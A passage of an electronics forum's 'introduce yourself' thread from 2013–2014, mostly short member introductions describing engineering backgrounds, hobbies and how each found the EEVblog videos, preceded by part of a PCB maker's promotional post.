1. Reasonable price for 1-6 Layers PCB package
3. PCB package charged by the PCB Dimension
3. Plenty of Options - Board thickness, Surface Finish, Copper Thickness, Soldermask color and etc...

We will start a trial promotion at EEVblog shortly, and let some members to order their own PCB for free. :D They are required to write a report to review our services and quality afterwards. We hope this promotion will suit your needs.

Best wishes,
Alan
Title: Re: New Member, Please introduce yourself
Post by: schwarz-brot on November 20, 2013, 11:03:20 am
Hi there,

I got stuck in bed due to a broken ankle joint and started watching the eevblog - episodes. I am a mechatronics engineer and got to electronics when I was younger by messing around with vintage hifi-gear. This is still a hobby of mine and I guess will always be. Vinyl will never die!  ::)
When I am not hanging out in bed I am up to rockclimbing and any kind of outside activities.
Well, enough said, let's see what I can learn here. Feel free to talk to me, I always like conversation.

Peace,
Jan from Germany.
Title: Re: New Member, Please introduce yourself
Post by: seoiot123, on November 20, 2013, 11:12:20 am
 O0 :-DDnice    i also provide ac repair
Title: Re: New Member, Please introduce yourself
Post by: tinytim on November 20, 2013, 12:56:12 pm
Hi Guys,

i have been involved with radio modification and reverse engineering for a few years and decided to sign up here in the forum.
I find most of the videos that dave uploads to be informative and a wealth of information and ideas seem to be forthcoming from them.

I live in Weymouth, England (not exactly sunny right now) and have been learning quite a bit from EEVblog so thanks very much.
Regards
Tiny Tim

Title: Re: New Member, Please introduce yourself
Post by: MonkeyKing on November 27, 2013, 01:56:34 pm
Hi everyone,

I'm Sam hailing from Glasgow, Scotland (although originally from Southern England) - I'm a train driver but originally had an IT support background until deciding to change my career path.

As an absolute novice I'm just reading through the Dummies Guide to Electronics while waiting on a few starter kits to arrive and experiment with. Have been watching Dave's YouTube channel for a couple of months now.

Looking forward to grasping the basics failing (I imagine lots!) and also building my own power supply.

Sam
Title: Re: New Member, Please introduce yourself
Post by: Gath on November 28, 2013, 10:35:32 am
Greetings from the cold Swiss alps area.

So, I am a long time viewer, first time poster. I started watching Dave's video when I needed a bit of training for developing a PCB to hook a CMOS sensor on an FPGA board. I thelped a lot :o Thanks Dave !

(http://ghaye.net/pub/camera_head_2.jpg)

I am currently working towards my PhD in electrical engineering, but I consider more of a hybrid between software and a electrical engineer, with application in bio-medical applications.

Looking forward sharing thing with you guys on the Forum, and maybe present a couple of idea/side project of my own ;)

Julien
Title: Re: New Member, Please introduce yourself
Post by: bsb0011 on December 01, 2013, 11:01:43 pm
Greetings to the Forum!

I've been following the EEVBlog YouTube channel now for about a year, and thought it was time to join in the fun on the Forum. 

I have a BS in Electrical Engineering Technology, and 3 AS in Computer/Electrical/Electronics Engineering Technology.  I have previously taught in both the Technology and Trades departments at a community college in Charlotte, NC (USA).  I have always enjoyed electronics as a hobby, and made my living doing Embedded Design Consulting for a couple of years following college.  During my college days, I entered in and took first place in one of Motorola's Student Design Contests, along with a fellow student.

These days I work mostly in the mechanical world working as head mechanic, overseeing the repair and upkeep of 24 mechanical pinsetters in the local bowling center.  However, I still keep active in the electrical world, working on various embedded processors, and electronics in general.

So well met EEVBlog Forum members!  Hope to be around some as my schedule allows.
Title: Re: New Member, Please introduce yourself
Post by: romantronixlab on December 03, 2013, 01:36:34 am
Hi,
I am Richard and was an EE student from Polytechnic University in Puerto Rico with some electronics experience prior to starting university.
I'm generally interested in all things electronic (including computers , programming, circuits, etc.) By thing of life could not finish my degree and became a Technician in the automotive industry. Of course the electronics has helped and have advantage over others. And has since become my hobby. But deep inside want to complete my degree.
I'm a typical guy who has lot of project ideas and designs started but rarely gets anything finished or just takes my time.
Found Dave's blog almost a year ago looking for information on motherboard PCB layers and smd soldering tutorial ever since been hooked to the way he gives information.
Title: Re: New Member, Please introduce yourself
Post by: Biduleohm on December 03, 2013, 09:02:33 pm
Hi,

I'm Franck, I'm French (so, please, do not blame me for my imperfect English) and I am currently studying software development (mostly C/C++ and PHP/JavaScript) but I have a passion for electronics and DIY in general almost since birth :D

I discovered the Dave's youtube channel since a few days and I'm at the video #232, almost the half :P very good quality content, congrats ;)
Title: Re: New Member, Please introduce yourself
Post by: zsimo on December 04, 2013, 10:29:10 pm
Hello guys I am Simo and I am just signed up! He he this is my first post and .. I am a student of electronics and telecommunication engineering and sometimes I have fun with MCUs and analog circuits.

So ... I noticed a EEVlog's video on YouTube (I have to watch them all), and I jumped over here.

See you on board! :)


Title: Re: New Member, Please introduce yourself
Post by: bandgap on December 06, 2013, 02:27:21 am
Hi all,

I've been posting some during the last few weeks (mostly in the test gear forum), so I thought I should properly post in this "introduce yourself" thread before I am no longer a new member!  :)

I am located in central North Carolina (Greensboro/Winston-Salem area), but I'm originally from Arkansas. I have a BS and MS in Electrical Engineering and a PhD in Microelectronics-Photonics. Up until this past summer, I was an engineering manager at RF Micro Devices (RFMD) where I managed our Molecular Beam Epitaxy (MBE) engineering group. We mostly made GaAs based heterojunction bipolar transistors (HBTs) and pseudomorphic high electron mobility transistors (pHEMTs). These were commonly used as power amps (in the case of HBTs) and switches (in the case of PHEMTs) in cell phones, although some of these also went into WiFi devices as well.

Dave highlights one of our chips (the RF7161 transmit module) in the teardown video of this cheap LG cell phone: https://www.youtube.com/watch?v=eoNRiHWOnqM (https://www.youtube.com/watch?v=eoNRiHWOnqM)    The semiconductor layers that form the HBTs and pHEMTs in this chip were made by my group - possibly even by me depending on when it was made. (I was a Sr. Engineer for a few years before I was promoted to manager.)

After 9 years, I decided to resign from that position and pursue my passion of teaching electrical engineering. This semester I've been teaching Physics at a local community college, but I was recently hired as the lead electronics engineering instructor at another local community college. I start that position in January, and I couldn't be more excited.

I've really been enjoying the EEVblog and forum! Lots of good info and people here, and I'm happy to be able to participate.

-Clayton

Title: Re: New Member, Please introduce yourself
Post by: SR-71 on December 08, 2013, 11:21:00 pm
Greetings fellow EEVBloggers,

My name is Paul and I live in the US. I have been watching the EEVBlog since about episode 50, but this is my first time on the forum. I am a professional design engineer with currently 8 years of industry experience. My specialty is in mixed-signal integrated circuits design, but I do everything from mechanical CAD, discrete circuit design (using COTS on PCBs), microcontrollers, FPGAs, software, the whole gamut.

I have finally saved up enough money to build my own home lab which I am attaching to this post. It's taken a year to get to this stage and I did all of the room renovations myself (previously it was an unfinished basement). As you can see I am channeling Dave on some of this and if you look closely you can see my uCurrent.

I recently acquired the Keithley model 225, 260, and 261 on eBay and have done some teardowns. I will have to post photos at some point, I am actually trying to do a cosmetic restoration and general maintenance as well (for example the power cord and fuse receptacles are a little crufty).

Cheers,
Paul
Title: Re: New Member, Please introduce yourself
Post by: TheBay on December 09, 2013, 10:36:57 pm
Hi,

I'm Dale from the UK.

I have worked in Electronics/IT since leaving school, have worked for some large companies as an Electronics Engineer such as Panasonic, Mitel, LG Electronics in their factories, have also worked as a field service engineer for Video Games, Jukeboxes etc, then worked as a field service engineer on all brands of analogue and digital photocopiers, then ended up working for Hewlett Packard for a few years as a Pre Sales Technical consultant but theory bored me. I left there due to sickness. I did have my own business as an Autoelectrician but that is another hobby now due to illness at the moment.

I also love flashing chips, hex editing and unix based OS's

Electronics has been my hobby since a young child, really love it. Not sure whether it's the satisfaction of building something or problem solving but find it very therapeutic (Though my other half does not understand why :-DD )

Actually reading the above makes me wonder how I have a woman ha!
Title: Re: New Member, Please introduce yourself
Post by: abbotsmike on December 10, 2013, 02:25:52 am
Hi all,

I'm Mike, currently a final year Electronic and Electrical Engineering student. Spent last year on placement where I was predominantly involved in design, repair and diagnosis of large (up to 32kw) square wave output power supplies. I like playing with electronics, power electronics being my preferred area!

I also like fiddling with computers (typing this on my overclocked, home built desktop tower!) Playing with car, cycling and rock climbing, not here for any specific purpose, just like to chat! I'm also gradually building up a decent toolkit, so may ask for advice or jump in on threads about tools!

Mike
Title: Re: New Member, Please introduce yourself
Post by: hippydream on December 13, 2013, 09:27:57 am
Hi folks,
I'm Fabrizio from Italy and after spending quite some time watching that Crazy Aussie Bloke's brilliant videos and reading lots of interesting posts, I thought I should... well, say "hi".

I'm not an electronics engineer but a software developer and I still have plenty of things to learn, so I doubt I will have much to contribute until then.
I love taking things apart, trying to understand and maybe fix them. I guess I took the maker-gene from my father, he loved doing that as well.

Anyway, greetings from Italy to all you EEVbloggers.. this really looks like a great place to learn things and to share your thoughts.

Cheers,
Fabrizio
Title: Re: New Member, Please introduce yourself
Post by: Derick Freese on December 15, 2013, 06:09:57 am
Hello guys, I'm new here.

I've had an interest in electronics since I was a teenager.  Since finding the EEVBlog, I've taken a much deeper look into designing, building, and repairing electronics.  Dave's videos have helped make things "click" in my head, and sent me deeper into the rabbit hole.

Most of my time here will be spent lurking, as most of the questions I've had have been answered either here or elsewhere on the good o'le interwebs.

Good to meet you guys!

-Derick
Title: Re: New Member, Please introduce yourself
Post by: kmiller8 on December 17, 2013, 03:57:53 pm
Sup, I'm Kirk I like keyboards, I'm an Senior in Electrical Engineering and I"m starting to work on a bunch of personal projects and I figured you guys are the best place to come hang out when I try to work out some of my crazy ideas.

I'm mostly active on geekhack.org (keyboard forum) but you guys seem interesting enough to hang out with.
Title: Re: New Member, Please introduce yourself
Post by: Noah1989 on December 19, 2013, 12:46:32 am
Hi,

I'm Stefan from Germany. I work as software developer and am currently studying electronics engineering. I am also developing an 8-bit microcomputer kit. Definitely a mailbag item as soon as I get a final prototype ready ;-)
Title: Re: New Member, Please introduce yourself
Post by: roli on December 19, 2013, 08:28:53 pm
Hi everyone!
I am Andrej from Slovenia. I am currently studying computer science (my last year). I really like embedded systems and electronics design and I am actually thinking about my future a bit. I am thinking about getting a masters degree in electronics after I get my bachelors degree. I have a few months to decide if I should continue more in the computing direction or switch to electronics and this forum looks like a neat place to help me decide.
Title: Re: New Member, Please introduce yourself
Post by: Seán on December 20, 2013, 09:19:14 am
Hello all,

I signed up here ages ago, but have never really posted, so I just thought I would introduce myself again.

My name is Seán, and I live in Ireland ...I have been working an an electronics design engineer for about a year and a half now. I am hoping to get better at analogue design, so hopefully I can pick up some information here, as well as maybe give some information too.

I am also back doing another electronics degree (part time of course) in a hope of filling in some gaps in my knowledge.

Thanks.
Seán
Title: Re: New Member, Please introduce yourself
Post by: taiteki on December 21, 2013, 10:27:49 pm
Hey!

My name is Francisco and i live in Seville, Spain

I'm engineering technician of Spain.

i really enjoy electronics. i was a collaborator in the www.conket.com (http://www.conket.com), old web on pic and electronic projects.

 :-+
Title: Re: New Member, Please introduce yourself
Post by: bji900 on December 22, 2013, 05:21:47 am
Hi All,

I'm Byron,

I am an electrical engineer. I just graduated from Western Michigan University. I was a member of the solar car team at WMU. Www.wmich.edu/sunseeker (http://Www.wmich.edu/sunseeker)  I enjoy working on random electronics projects.

Nice to meet you all.

Byron
Title: Re: New Member, Please introduce yourself
Post by: underwurlde on December 23, 2013, 07:10:29 pm
hello,

My name is Andy.

30+ years electronics engineer. Here to learn and maybe offer 2p's worth...

Anyway, hello everyone  :-DMM

A
Title: Re: New Member, Please introduce yourself
Post by: bastouw on December 23, 2013, 10:19:18 pm
Hello, I am Bas from the Netherlands.

I started when i was 9 and later I graduated as electronics engeneer.
I worked for a small company and have been a designer for 15 years, 8 year as RF designer and 7 years  designing fish-bite-indicators with micro's.
I did the whole 9 yards, making the cirquit, breadboard, schematics, uC code, pcb layout, 0-series, production setup, quality control.
The next 14 years i worked as an IT systems engeneer. I kept updating electronics in the mean time.
My big love is electronics, so i want back in the electronics industry, but combine the 2 periods preferably.

Greetings Bas.

Title: Re: New Member, Please introduce yourself
Post by: Kjetil on December 26, 2013, 10:39:58 am
Hi, I'm Kjetil from Norway

I signed up a while ago, but didn't see this thread, so here I am.
I'm a 2nd year student of mechanical design and engineering (B. Sc) from Norway, with a few years of practical experience in mechanical work and design, as well as a few years as a programmer and IT-support worker. I am currently the president of the electronics club at my college.
Electronics has always been a hobby of mine, and I've always enjoyed taking things apart and putting them together to see if they still work. Nowadays I mainly play with motors, Arduinos and 3d-printing.
I also love vintage/old stuff as some of you may have seen in the mailbag with the teletype.

/Kjetil
Title: Re: New Member, Please introduce yourself
Post by: blackice504 on December 27, 2013, 03:32:10 pm
Hello all,

I been watching David on youtube for sometime now and thought what the hell I will join up.

I am based in Sydney run a small computer company, I design custom computer systems as well as have some computer packages "I really need to update them on my site"  :-DD but most of my business is phoned in.

My hobbies are well you guessed it Computers, Electronics, Amateur Science, DIY, there is nothing like telling people yeah I made that.
Anyway see you all on the site.
Title: Re: New Member, Please introduce yourself
Post by: Isad on December 28, 2013, 07:48:06 pm
Hi from Albania.I am currently studying in a Electrical & Computing System Engineering 1 year
Title: Re: New Member, Please introduce yourself
Post by: IBUILDCOOLSTUFF on December 29, 2013, 11:31:20 pm
My name is Daniel. I am an electrical engineering student at McNeese State University. I really enjoy studying about electronics and am eager to go beyond circuit analysis and enter the realm of designing/building awesome and practical things. My latest project is a dual resonance solid state Tesla Coil.
Title: Re: New Member, Please introduce yourself
Post by: hiddensoul on December 31, 2013, 12:34:15 am
Well I guess I should introduce myself as i have been posting for a week or so now. I am a 41yo from Country Victoria in a little town called Drouin in Gippsland. I have been letting the magic smoke out since I was about 8 or 9yo and just recently passed my Ham licence (Standard) didn't do to bad 90% on theory and 80%on regulations.

Self proclaimed hacker and geek and a little bit twisted, I don't work any more as I had a major motorbike accident (Yes i still ride) and cant work full time :-\ so it means I get more time to play in the shack but also means I have less money to spend on toys as the government pension isn't that great...

Love the EEVblog videos and forum and when I have the money in a few weeks will become a subscriber

Thanks Dave for all your hard work
Title: Re: New Member, Please introduce yourself
Post by: vsboost on January 01, 2014, 09:02:09 am
Hi guys,

New here just wanted to say hello and i really enjoy watching Dave's videos.

Keep up the awesome work  :-+
Title: Re: New Member, Please introduce yourself
Post by: RazSlack on January 02, 2014, 03:37:42 pm
Hello there, EEVblog community!

I am to be known as RazSlack, a Hungarian hobbyist electronics designer studying the field of electronics (not in university yet, but soon hopefully). I have wanted to register on this forum for a long time after checking out Dave's videos, considering how I have a lot of stuff to ask, and some other things to contribute to the community.

Talking about contribution, in my school, we use the outdated Protel for Windows design suite, as well as Sprint-Layout 6 for board design, and TINA for simulation. I have used both board design programs, and in my humblest of opinions, Sprint-Layout is not suited for high level board designing, yet most people use it "because you don't have to use menus". <- that's what I call a click-click application. Also, Protel for Windows is a largely forgotten design suite, that is basically the predecessor of 99SE as well as Altium DXP, and I think it really has everything that a hobbyist, or a professional might need, with a very intuitive hotkey system that makes handling it really easy. Although I myself use gEDA at the moment, I keep switching programs on a regular basis to try most of them out, since I don't wish to fall into the fanboyism that many of my other classmates seem to have.

Anyway, I don't know if it fits into the warez category or not, but I happen to have the installer for the Protel for Windows PCB designer (version 1.5), that is nearly unobtainable nowadays, so if anyone wants to give it a try, I might upload it, given that I have a moderator's permissions for it, of course.

In my carrier, I've been using Protel, DXP, 99SE, Sprint-Layout, and gEDA for making several boards, although most of these are just single-sided DIY boards for various testing circuits for my school.
Title: Re: New Member, Please introduce yourself
Post by: KarolNi on January 02, 2014, 10:16:34 pm
Hi everybody!
I'm aerospace engineering student from Poland. Electronics was my hobby since small kid. I prefer it as hobby, some kind of art, not science so I choose different profession for me. I'm watching EEVblog since about #370.

Karol
Title: Re: New Member, Please introduce yourself
Post by: Vincent on January 04, 2014, 12:51:22 am
My name is Vincent (or just Vince LOL). I'm currrently attending a technical secondary school program to become a truck technician. I did another similar program in electricity a little before but I've been disappointed by the career itself. I still like it as a hobby though!

As far as academic knowledge is concerned, I have basic knowledge in electronics, mostly basic calculations with passive components and a few more advanced ones like amp-ops, but no advanced design here xD. Obviously I also have a good understanding of electricity as a whole  ;D

I have a good variety of other hobbies too, and some of them tend to change over time. I used to make videos on YouTube, though I still have a YouTube channel, I just don't post videos on a regular basis anymore.
Title: Re: New Member, Please introduce yourself
Post by: RichXKU on January 04, 2014, 03:36:13 am
I don't remember how I found EEVBlog on YouTube, but the first video was the HandiFax 1000 teardown. I've never heard the word 'bodge' so many times, and have been hooked ever since.
I'm also part of the rare group who owns both types of EEVBlog rulers: with and without the alignment hole (whoa!).
As for work, I optimize the cellular network at one of the big US carriers, and am also a Tech Ham Radio operator, so there's lots of RF around here.
Title: Re: New Member, Please introduce yourself
Post by: radiogeek97 on January 04, 2014, 05:48:52 pm
Hi All
     My name is john, I joined the forum a short time ago.  I have long been an electronics and radio enthusiast.  I stuied engineering for two years and then went into a completely different area.  I currently work at a major university in Boston Massachusetts.  I discovered the eevblog/forum on you tube one day about a year ago when i was researching a problem.  Since becoming an avid daily reader of the eevblog my interest in electronics has been renewed.  I now have my very own little "lab" consisting of a 1052e (hacked) and several other items dave recommended in a few of his videos.  While my knowledge is crude and very basic, I find the the you tube videos and this forum invaluable.   
Title: Re: New Member, Please introduce yourself
Post by: idpromnut on January 04, 2014, 05:52:06 pm
I suppose I should write one of these intros as well   ;D

I'm in my mid-thirties, and work in software development. I've had an interest in electronics that goes back many years, but as a hobby it stagnated for a decade until I started where I am working now. A co-worker re-ignited my interest and now I've jumped in full steam to learn about all the wonders of analog and digital electronics. I can't remember exactly where I heard about the EEVBlog, but I am sure happy I did!
Title: Re: New Member, Please introduce yourself
Post by: pelud on January 05, 2014, 08:30:43 am
Hi all,

My name is John, and I'm an electronics enthusiast from Burnaby, BC, Canada.  I have a diploma in computer systems technology and degree in EE, and I'm currently working as a software developer in a large company.  I like to play around with electronics and 3D printers what little spare time that I have at home.
Title: Re: New Member, Please introduce yourself
Post by: jii on January 05, 2014, 09:20:59 pm
Greetings from Finland and please stand by for my brief introduction...


My name is Jussi, and my hobby is ... drum roll ... electronics! :-/O (and some radio amateur stuff on the side)
For the past ~13 years i've been working as an audio engineer, but now I'm also studying
automation engineering and electronics at Karelia University of Applied Sciences.

Been following for Dave's videoblog since 2009. I really like his style of presenting things!
Dave's blog is actually the first blog i'm following seriously, and not just peeking randomly.

I've also been lurking secretly on the forums for a while, and now finally made an account :)

Looking forward for having conversations with you guys and gals! ;D

- Jii -
Title: Re: New Member, Please introduce yourself
Post by: AlienRelics on January 06, 2014, 01:15:49 am
Steve Greenfield. I've always loved science and technology, decided to go into the field of electronics technology very early.

I love to build stuff. Mostly self-taught, or more accurately, I learned electronics mostly from books and magazines rather than from classes. I called myself a geek back when most considered it a pejorative.

My wife and I moved a few years ago into a house with two garages. I'm still working on getting both wired, insulated, and heated. One for a workshop (lathes, drill press, saws, CNC, etc) and the other for a lab (electronics, 3D printer, video, ham shack). I have a few videos posted on YouTube as username "alienrelics" and intend on producing some electronics instructional videos once my lab is squared away.
Title: Re: New Member, Please introduce yourself
Post by: TheCommonCathode on January 07, 2014, 08:44:00 pm
Hello from Ohio USA! Im just. An average electronics DIY maker. I normally attend the Detroit Maker Faire. I'm not majoring in anything related to electronics currently, but will in a few years. Happy hacking!
Title: Re: New Member, Please introduce yourself
Post by: josmann on January 08, 2014, 08:41:28 pm
Hi everyone, I'm Jason from California, and I'm a newly graduated EE with a concentration in photonics. I'm currently on the job hunt!
Title: Re: New Member, Please introduce yourself
Post by: Pillager on January 08, 2014, 10:25:15 pm
Hi everybody!

My name is Tom and I'm from Austria (not Australia).
I started out working in electronics manufacturing, where I caught the bug.
Now I'm a mechatronics technician and do electronics projects as a hobby (and sometimes small stuff for my boss ;-)

Greetings
Title: Re: New Member, Please introduce yourself
Post by: Forser on January 09, 2014, 06:09:42 pm
Greetings,

Marcus, Located in Stockholm, Sweden.

No education or similar in electronics.
But have professional experience from Software Development.

Picked up a Arduino Recently and spent a few hours doing the experiments in the book that comes with the Arduino Starter Kit.
After that i am looking at picking up more experience and skills, aiming todo some stuff for Flight Simulator for my Dad that is a Avid Flightsimmer but also other projects.

Just trying to figure out what to do next after i finished the book and trying to figure out what´s next.
Been looking at making a Headphone Amp, Similar project like dekuNukem made (a Pokemon Shiny Collector) or something else.

Anyways, this is my introduction, feel free to PM me if you have any questions or just want to talk.
Title: Re: New Member, Please introduce yourself
Post by: Matt_Heilman on January 10, 2014, 04:26:16 am
Hi,
I am Electronic Technician, I have spend time working with engineers (Mechanical and Electronic).
Electronics is a major passion mine, and I look forward to learning for you, and helping some you with your projects.
I have a youtube channel where I share projects, repairs and other things.
https://www.youtube.com/user/SektorZeit (https://www.youtube.com/user/SektorZeit)
Title: Re: New Member, Please introduce yourself
Post by: digital on January 10, 2014, 09:49:59 am
Hello all I have been employed for many years as a control instrumentation technician,Then I studied microprocessors and laboratory instrumentation.It,is good to be amongst like minded people.Regards
Title: Re: New Member, Please introduce yourself
Post by: sgkini on January 11, 2014, 04:56:29 pm
Hi all,
    My name is Satish and am currently in Germany ( been here for sometime now ) . I am a software architect and once every few months I get the electronics fever where I like to do some stuff or rather blow stuff  :( . I actually came across EEVBlog when I searching for dummy load  and found a treasure here. Now I spend a lot of time reading and getting to know stuff here . 

Regards
Satish
Title: Re: New Member, Please introduce yourself
Post by: jpenn on January 13, 2014, 02:51:03 am
Hello all
     John here. Retired IT tech from PA USA now looking to start up some hobbies that I've never really had the time for before. Found Dave's blog while searching for electronics educational material. I'm now in the process of going through Dave's video blogs from the beginning. This guys really prolific! Good stuff.

Title: Re: New Member, Please introduce yourself
Post by: londrim on January 13, 2014, 09:58:28 pm
Hi all,

This is George from Greece. Ive studied Electrical and Electronic Engineering as well as an Msc ICT in U.K.

Now working full time professional engineer in AV systems.

I would like to thank eevblog for all this nice technical information and all contributors that help to it.
Title: Re: New Member, Please introduce yourself
Post by: PICmonster on January 14, 2014, 12:52:38 pm
Hello I am from the UK and work in the Sheffield area, I am an electronics design engineer mostly embedded systems using small micro's such as PIC, I also write software in 'C' but I am a hardware designer at heart and see software as a tool to get my hardware to do what I want, I enjoy both aspects of this though. I use LTspice quite a bit, PADs is the EDA packege I am most farmiliar with for schematic and PCB design, I have used this for over 10 years, I know there is better EDA out there but I stick with what I know just because I can use it well.

I have always been interested in electronics from an early age, but it has taken me a long time to gain good qualifications in engineering as I left school unfortunately with nothing but a few useless CSE's. I studies at night school to do some BTEC units, I then studied HNC and converted this to HND in electronics, later I did a BSc with the open University studying programming lanuages / electronics and other subjects, I am now a CEng member of the IET.
Title: Re: New Member, Please introduce yourself
Post by: NadAngel on January 16, 2014, 09:28:10 am
Hi, my name is Benjamin. I've been interested in electronics since primary school, but then went into software development. In the last years my interest into electronics has returned and has became my main hobby. I am interested in embedded design, micro controllers, sensors, control loops...
Title: Re: New Member, Please introduce yourself
Post by: illumin8te on January 18, 2014, 12:02:38 am
Hello all,

My name is Christopher from England, UK. I studied Electrical and Electronic Engineering at A level's but became an electrician and i am now a theatrical Sound/Lighting engineer, but I am going back to Uni to do a degree in electronics.
My Interest in electronics was started by my late father who was a Broadcast Engineer (BBC) from the late 60's to Mid 90's. He built at least 2 early 'homebrew' 8 bit computers in the early 80's. I might do a teardown of one of them and post to Youtube.
I have a passion for microprocessors and micro controllers (wohoo PIC Chips). Currently building a breadboard 68000 CP/M system based on a yamaha MSX chip set.

I would like to say thanks to dave, as I have been watching eevblog for about 3 months and he is a great tonic when over night re-rigs or rehearsals get a bit tedious.
Title: Re: New Member, Please introduce yourself
Post by: T3sl4co1l on January 21, 2014, 03:35:31 pm
Hey, what's up?

Think I saw a few familiar avatars, I'm Sch3mat1c from DF.  Also an infrequent commenter on Dave's vids.  But rather than talk about myself, might as well link my website... maybe you're ran across it before, probably not?
http://webpages.charter.net/dawill/tmoranwms/Electronics.html (http://webpages.charter.net/dawill/tmoranwms/Electronics.html)
Bunch of other stuff on there too, but the electronics part is the most relevant, eh?
Newer stuff is here,
http://seventransistorlabs.com/ (http://seventransistorlabs.com/)

Tim
Title: Re: New Member, Please introduce yourself
Post by: plug on January 22, 2014, 03:26:11 pm
These "New Member" things always seem to sound like an AA meetings to me.  So;

I'm Jamie, from North Carolina. I have an Associate in Applied Science (AAS) from, Forsyth Technical Community College in Electronics Engineering Technology. I have been doing industrial electronics repair (component level) for 16 years now. They even let me be the boss for a while, then we had to close the shop.  :(
Title: Re: New Member, Please introduce yourself
Post by: cathodearray on January 23, 2014, 01:08:23 am
I'm me. I've never not been me, and that is that my dears :)

I am male. I am interested in electronics, and that is all I have to say... for now ;)

also known as rolandpenplotter
multiple accounts for the same user are not permitted.
Title: Re: New Member, Please introduce yourself
Post by: phil on January 23, 2014, 02:17:37 am
Hello,

this is Phil from Germany. I finally decited to register after quite some time reading/lurking. I am an EE student at the moment, but my passion for electronics started way before. Most of my projects are general analog/digital stuff - however, I also did some high voltage/current stuff in the past (mainly SGTCs and SSTCs).

Phil
Title: Re: New Member, Please introduce yourself
Post by: SoundSponge on January 23, 2014, 02:06:16 pm
I guys,
i love so much LED, flashlights and broken things.
When is possible i love to repair broken things.
I'm happy with electronic in general but i am not electronic engineer.
I'm poor  sound technician or sound engineer as you prefer.
I joined forum cause i appreciate Dave youtube channel
and i think he has a lot of experience, so thank you Dave for
passion, videos and Forum.

Simone
 
Title: Re: New Member, Please introduce yourself
Post by: EPAIII on January 24, 2014, 06:51:37 am
Greetings to all! I am Paul and am a retired TV Engineer who is now pursuing my own interests, some of them electronic. I also do wood work and have a small machine shop.
Title: Re: New Member, Please introduce yourself
Post by: hacker on January 25, 2014, 09:48:52 pm
Hello gang! My name is John, I go by Hacker because I can not leave well enough alone, and it can always do better! I started my venture in electronics when I was 12. I have no degree. I do not believe in reinventing the wheel, just work with it and make it better.
My latest is playing with Arduino and C language ( I do better with PIC and Basic )
I have made an automatic door for my chicken coop,  A system to remove the rust from my water- 600 gallon water plant. An controller for my PV Solar / Wind generation system. I repair lab equipment for fun. 
Title: Re: New Member, Please introduce yourself
Post by: Cabwood on January 26, 2014, 04:25:24 pm
Hello all,

I'm Simon, from Mauritius. Got my EE degree in London in 1990, and did almost nothing with it.

I stumbled upon one of Dave's video blogs a few months ago, and have just finished watching almost all of them - my interest is rekindled! Thanks!
Title: Re: New Member, Please introduce yourself
Post by: shailesh3t on January 27, 2014, 05:15:30 pm
HI simon ,
glad to see a Mauritian here so you are from which part of MRu
else wish u good luck in electronics
regards
shailesh
Title: Re: New Member, Please introduce yourself
Post by: JefferyB on February 01, 2014, 09:42:42 am
Hello all!

I'm Jeff, and I love to tinker with all kinds of stuff!  Now I don't have a big background in electronics, but I do know my way around them!  Watching Dave's videos really do help, and I have learned tons from him!  I lurked here for awhile, but now I'm glad I choose to sign up!
Title: Re: New Member, Please introduce yourself
Post by: roket on February 05, 2014, 01:52:23 am
I am an engineer. I repair medical equipment in Moscow. unfortunately such blogs in Russian almost didn't remain, therefore I here ;D
Title: Re: New Member, Please introduce yourself
Post by: HAL-42b on February 05, 2014, 01:31:11 pm
Hello again.

Previous account got deleted because I tried to change the mail with an anonymous one  to be less traceable. It seemed like a prudent thing to do considering the shitstorm that happened in my moderately rotten country. Long story cut short - it didn't work and it was hardly of any use.  :-//

So here I am once again.

Missed you folk.
Title: Re: New Member, Please introduce yourself
Post by: markusfuller on February 12, 2014, 10:45:19 pm
Hi All. I'm Markus. I mainly repair keyboards & music related gear. buy junk from boot sales and sometimes fix things. i love taking things apart to see how they work. I live on the south coast of england.
Title: Re: New Member, Please introduce yourself
Post by: mngiggle on February 13, 2014, 02:31:14 pm
Complete newbie on posting, but I've been a lurker for a while.  Just made a conscious decision to try to participate in the forum, and it's basically like drinking from a firehose. 

Anybody have good strategies for keeping up with the forum? 

Anyway: EE since '99, currently learning RF the hard way; previously in controls, high-speed digital, and various other areas. 
Title: Re: New Member, Please introduce yourself
Post by: BennyBoy on February 14, 2014, 02:13:30 am
I'm Ben, from SF,California. I know little to nothing about electronics. But since the age of 10, I've been tearing things apart and most of the time putting back together.

I've also always really liked DMM's, as I must have close to 30. I found this site while searching for reviews on LCR meters. I do a far amount of medium voltage, as well as low voltage, as I've worked in car audio for over 41 years, and I make my own crossovers. When my B&K LCR(879) took a crap, I was once again on the hunt for the next meter.

Because of Dave's video reviews(thank you Dave), I've noticed somewhat of a leap in technology in LCR meters over the last 5 years. I bought a Der Ee DE5000 off Ebay. It seems like a really good meter.

I got my first Email account in 1993, and I've noticed the net has gone way down hill over the last 10 years. I've also notice the folks from down under post a lot like the old net users for 15~20 years ago(just a lot less BS).

What I'm saying is, I LIKE the site! :-+ :-+ :-+
Title: Re: New Member, Please introduce yourself
Post by: HP-ILnerd on February 17, 2014, 08:29:32 pm
Hi!
Long-time EEVBlog fan and Lurker!
Dave's HP-41 teardown drew me out of the woodwork!
I've had a life-long interest interest in electronics, went to school ostensibly for Computer Science, so naturally I'm a cartoonist these days! 
Title: Re: New Member, Please introduce yourself
Post by: EMI_Tech on February 17, 2014, 09:16:14 pm
I am Charles from New York.  Professionally involved in EM test and measurement, and electromagnetic interference work.  I am here primarily to read test equipment reviews and learn a bit here and there, but may be able to offer meaningful input in a few niche areas where I have specialist knowledge.
Title: Re: New Member, Please introduce yourself
Post by: Tweepy on February 18, 2014, 02:07:30 pm
DIY and Dave's blog fan, from France.
I like 16bits embedded systems, with energy harversting :)
Title: Re: New Member, Please introduce yourself
Post by: 6E5 on February 19, 2014, 02:13:37 am
Hi I'm Paul, a student from the state of Connecticut, USA. I've have electronics as a hobby for 5 years. I've been dealing mostly with vintage vacuum tube based equipment from the 50's and older, however I've become more interested in modern electronics due to Dave's videos. I am primarily interested in old radios, old tvs, test equipment, and interesting projects, such as tesla coils, amps, music related electronics, and more.

I'm real excited to get become antiquated with the members here.
Title: Re: New Member, Please introduce yourself
Post by: uwezi on February 19, 2014, 07:13:54 pm
Hi there, I'm Uwe.

As a German I grew up in Germany and learned a lot about electronics from my father and an uncle. I started off in the 1980s, inspired by a German television program tried to put together my own computer, because I wouldn't get one from my parents... Finally they gave in an the project was shelved (forever).

In the German navy I learned to use oscilloscopes, studied physics, continued with electronics, went to Sweden and finally became a PhD in electronics.

For the last 10+ years I have been doing research in solar cells at Uppsala University, while also teaching electronics and microcontrollers.

My personal electronic interest is mostly in

I keep my own small blog at http://www.sciencetronics.com/greenphotons/ (http://www.sciencetronics.com/greenphotons/)
